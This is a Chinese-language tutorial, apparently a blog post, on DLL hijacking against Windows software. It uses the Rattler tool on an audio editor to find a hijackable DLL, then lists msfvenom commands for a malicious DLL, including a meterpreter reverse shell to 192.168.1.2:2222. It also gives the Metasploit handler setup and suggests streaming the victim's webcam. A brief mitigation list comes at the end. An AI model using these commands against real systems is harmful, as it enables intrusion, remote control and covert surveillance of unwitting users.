什么是DLL
动态链接库英文为DLL*,是Dynamic Link Library*的缩写。DLL是一个包含可由多个程序,同时使用的代码和数据的库。在Windows中,这种文件被称为应用程序拓展。例如,在 Windows 操作系统中,Comdlg32.dll 执行与对话框有关的常见函数。因此,每个程序都可以使用该 DLL 中包含的功能来实现“打开”对话框。这有助于避免代码重用和促进内存的有效使用。 通过使用 DLL,程序可以实现模块化,由相对独立的组件组成。例如,一个计账程序可以按模块来销售。可以在运行时将各个模块加载到主程序中(如果安装了相应模块)。因为模块是彼此独立的,所以程序的加载速度更快,而且模块只在相应的功能被请求时才加载。
DLL攻击分析
执行Windows程序时程序会调用相应的动态链接库,而一个应用程序可以使用多个dll文件并且一个相同dll文件可以被不同的程序所使用。利用Windows可以先加载文件所在目录下的dll这一特性,我们可以仿造系统dll,让程序先加载我们的伪dll从而执行我们插入的恶意代码。
DLL实例使用
这里我在网上随手下载一个叫Cool Edit Pro 2.1的软件,大概是用来做音频剪辑啥的吧,咱也不明白。
软件安装好后,我们就开始吧
首先我们需要用dll劫持审计工具,这里笔者推荐的是rattler。要问为什么?当然是这个工具真的牛逼!!!而且最近看到一句话大概的意思是说的是我们要是利用某个漏洞成功getshell后都是需要用命令进行后渗透的操作,没有gui工具可以便利你更好的工作下去。所以尽早习惯使用命令行不仅能让你掌握更多攻击手段而且也是对你以后进阶的学习更有帮助。
rattler使用介绍
What does it do?
Rattler automatically enumerates an applications DLL's to identify and exploit DLL's which can be hijacked via a DLL preloading attack.
Getting the code
Firstly get the code:
git clone https://github.com/sensepost/rattler.git
Usage
ratter_32.exe "c:\path\to\target\application.exe" 1
- "c:\path\to\target\application.exe" =path to the executable you want to enumerate.
- 1 = Enumeration mode, only one at this point.
C:\Users\User\Desktop>Rattler_32.exe "C:\Users\User\Downloads\NDP462-KB3151800-x86-x64-AllOS-ENU.exe" 1
[+] RATTLER
[*] TARGET APPLICATION: C:\Users\User\Downloads\NDP462-KB3151800-x86-x64-AllOS-ENU.exe
[+] STARTING UP...
[*] TARGET PROCESS ID: 3504
[+] IMPLEMENTING EXECUTABLE TEST
[*] TARGETING DLL-> C:\Windows\SYSTEM32\CRYPTSP.dll
[*] INFO: DLL IS VULNERABLE TO EXECUTABLE TEST-> C:\Windows\SYSTEM32\CRYPTSP.dll
[*] TARGETING DLL-> C:\Windows\system32\rsaenh.dll
[*] TARGET DLL IS NOT VULNERABLE TO EXECUTABLE TEST
[*] TARGETING DLL-> C:\Windows\SYSTEM32\ntmarta.dll
[*] TARGET DLL IS NOT VULNERABLE TO EXECUTABLE TEST
[*] TARGETING DLL-> C:\Windows\SYSTEM32\feclient.dll
[*] TARGET DLL IS NOT VULNERABLE TO EXECUTABLE TEST
[*] TARGETING DLL-> C:\Windows\system32\uxtheme.dll
[*] TARGET DLL IS NOT VULNERABLE TO EXECUTABLE TEST
[*] TARGETING DLL-> C:\Windows\System32\MSCTF.dll
[*] TARGET DLL IS NOT VULNERABLE TO EXECUTABLE TEST
[*] TARGETING DLL-> C:\Windows\system32\dwmapi.dll
[*] TARGET DLL IS NOT VULNERABLE TO EXECUTABLE TEST
[+] EXECUTABLE TEST TOTAL DLL's IDENTIFIED: 43
[+] EXECUTABLE TEST TOTAL VULN COUNT: 1
[*] EXECUTABLE TEST VULNERABLE DLL-> C:\Windows\SYSTEM32\CRYPTSP.dll
Information
Rattler was developed using C++ using Microsoft Visual Studio 2015. Rattler can be used to test 64 and 32 bit applications. Rattler's default "payload" is a DLL (payload.dll) which invokes calc.exe. The default payload is 32bit. A 64bit payload can be used in conjunction with the 64bit executable to enumerate 64bit executables.
拿原作者的文档水一下字数哈。
攻击方式就是这样的一条而已
C:\Users\User\Desktop>.\Rattler_32.exe D:\coolpro2\coolpro2.exe 1
第一哥参数是工具,第二个是要执行的程序,最后的1是枚举当前这一个程序
效果嘛,下面就是我枚举出来的可以伪造的dll程序
得到可以伪造的dll文件后我们可以使用msf生成,然后放在软件的根目录中,当软件被打开时会调用我们的dll文件从而进行攻击
msf恶意dll生成(弹计算器)
msfvenom -p windows/exec CMD=calc.exe EXITFUNC=thread -f dll> /root/VERSION.dll
如果要做木马的话当然也可以,这里主要是测试dll注入的就不用生成木马然后弹个shell啥的了,问就是麻烦(感觉要截的图更多。。。)
代码要不还是写一下吧
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.2 lport=2222 -a x86 -f dll>/root/VERSION.dll
msf利用设置
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.2
set rport 2222
exploit|run
连接后还是执行摄像头看一下?
webcam_stream
点击软件就有打开计算器啦(没在虚拟机上做就不展示我的桌面啦~~~)
防护与修复
- 调用第三方DLL时,使用LoadLibrary API加载DLL时使用绝对路径,类似的情况还包括其他API如LoadLibraryEx, CreateProcess, ShellExecute等,将所有需要使用到的DLL放在应用程序所在的目录,不放到系统目录或者其他目录
- 调用系统DLL时,使用绝对路径
- 程序启动时调用API SetDllDirectory(L”“)将当前目录从DLL加载顺序中移除
作者三好学生真的是大佬啊,我这种菜鸡是看着文章有点懵,基础好的同学可以多看看相信会受益匪浅滴。